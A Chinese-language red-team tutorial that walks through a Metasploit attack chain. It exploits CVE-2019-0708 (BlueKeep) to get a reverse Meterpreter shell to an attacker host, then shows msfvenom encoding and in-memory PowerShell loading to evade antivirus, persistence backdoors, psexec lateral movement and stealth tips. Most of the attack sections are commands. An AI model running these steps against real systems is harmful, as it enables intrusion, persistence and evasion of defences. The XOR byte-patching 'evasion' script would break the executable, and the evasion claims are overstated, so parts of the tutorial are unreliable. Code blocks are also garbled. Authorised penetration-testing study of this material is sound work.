一、重新定义攻击视角:从防御反推渗透测试
防守方常常关注如何阻止攻击,从漏洞修复到系统加固,再到流量分析。但从攻击者的视角来看,每一个防御措施都是潜在的突破口。作为红队的一员,我们需要了解防守方的工具和策略,反推他们的弱点。在这篇文章中,我们将从防御视角切入,研究如何利用 Metasploit 这个强大的渗透测试框架,完成一次从外网到内网的攻击链实践。
Metasploit 是一个功能丰富的渗透测试工具,支持几乎所有主流漏洞和攻击方式。它的模块化设计和扩展性让它成为红队的核心武器。本文将详细展示如何使用 Metasploit 进行渗透测试,包括漏洞利用、Payload 构造、免杀技巧以及权限维持等,同时会附带完整的代码示例和实践环境搭建指南。
---
二、环境搭建与目标模拟:先搞清楚敌人在哪
在实际渗透测试中,环境准备是第一步。这次我们模拟的是以下场景:
- 目标网络:一个存在未打补丁漏洞的 Web 服务,运行在 Windows Server 2019 上。
- 攻击机:Kali Linux,预装 Metasploit。
- 网络结构:攻击者位于外网,通过漏洞进入内网后尝试横向移动。
环境搭建步骤
- 安装 Metasploit
设置攻击机时,确保安装最新版本的 Metasploit。通常在 Kali Linux 中可以直接运行以下命令安装: <pre><code class="language-bash"> sudo apt update && sudo apt install metasploit-framework `
- 搭建目标服务
使用 VulnHub 或手动安装一个存在漏洞的 Web 应用。这里我们选择了一个常见的漏洞:CVE-2019-0708(RDP 未授权远程代码执行)。在目标机上运行带此漏洞的 Windows Server。
- 网络配置
将目标机和攻击机设置在同一局域网,并确保目标机对外暴露 RDP 服务端口(默认 3389)。
- 漏洞验证
使用 nmap 测试目标机的开放端口: `bash nmap -p 3389 -sV <目标IP> ` 确保能看到 RDP 服务开放。

---

三、漏洞利用与内网突破:从外网到权限提升
在目标环境搭建完成后,我们进入核心部分:漏洞利用。这里我们选择了 CVE-2019-0708,一种经典的 RDP 漏洞。下面是详细的攻击步骤:
步骤 1:信息收集
通过 nmap 确认目标机的信息:</code></pre>bash nmap -p 3389 -A <目标IP> <pre><code>结果显示目标机的 RDP 服务未打补丁,符合漏洞条件。
步骤 2:加载 Metasploit 模块
启动 Metasploit 后,搜索并加载与漏洞相关的模块:</code></pre>bash msfconsole search cve:2019-0708 use exploit/windows/rdp/cve_2019_0708_bluekeep <pre><code>
步骤 3:配置模块参数
设置目标 IP 和端口:</code></pre>bash set RHOSTS <目标IP> set RPORT 3389 <pre><code> 选择攻击载荷(Payload),这里以 Windows Meterpreter 为例:</code></pre>bash set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <攻击机IP> set LPORT 4444 <pre><code>
步骤 4:漏洞利用
运行攻击模块:</code></pre>bash exploit <pre><code>如果漏洞利用成功,Metasploit 将启动 Meterpreter 会话,目标机权限被获取。
---
四、Payload 构造的艺术:绕过杀软与免杀技巧
在渗透测试中,目标机通常会运行杀软或 EDR。我们需要对 Payload 进行免杀处理,以规避检测。以下是免杀技巧:
技巧 1:Payload 编码
使用 Metasploit 的 encoders 对 Payload 进行编码:</code></pre>bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe <pre><code>这里使用了经典的 shikata_ga_nai 编码器,它采用多重混淆技术,非常适合免杀。
技巧 2:手工修改二进制
使用 Python 修改编译后的 Payload,以随机化文件内容:</code></pre>python with open('payload.exe', 'rb') as f: data = bytearray(f.read())
对某些字节位置进行随机替换
for i in range(0, len(data), 20): data[i] ^= 0x55
保存修改后的文件
with open('payload_mod.exe', 'wb') as f: f.write(data) <pre><code> 
技巧 3:内存加载
采用 PowerShell 内存加载技术,将 Payload 注入目标机内存而不落地文件:</code></pre>powershell
在目标机上执行以下 PowerShell 命令
$payload = [System.Convert]::FromBase64String("<Base64编码的Payload>") [System.Reflection.Assembly]::Load($payload).EntryPoint.Invoke($null, $null) <pre><code>这种方法可以避免文件被杀软扫描。
---
五、权限维持与横向移动:让攻击持久化
获取初始权限后,我们需要确保攻击的持久性,并进一步进入内网。
权限维持
通过在目标机上建立后门,实现权限维持:</code></pre>bash use exploit/windows/local/persistence set SESSION <会话ID> set LHOST <攻击机IP> set LPORT 5555 run <pre><code>
横向移动
使用 Metasploit 的 psexec 模块进行内网横向移动:</code></pre>bash use exploit/windows/smb/psexec set RHOSTS <目标内网IP> set SMBUser <目标用户名> set SMBPass <目标密码> set PAYLOAD windows/meterpreter/reverse_tcp run ` 成功后,攻击者可以在内网中进一步扩展。
---
六、个人经验分享:如何让攻击链更隐蔽
- 流量伪装:建议将 Meterpreter 的通信协议更改为 HTTPS,以规避流量分析。
- 模块优化:选择轻量级 Payload,减少占用目标机资源。
- 定时任务:通过计划任务定时启动后门,避免被发现。
以上技术在实战中非常有效,但仍需不断测试和优化。同时,切记只在授权环境中使用这些技术。
---
免责声明:本文仅供合法授权的渗透测试和安全研究使用,任何非法用途作者概不负责。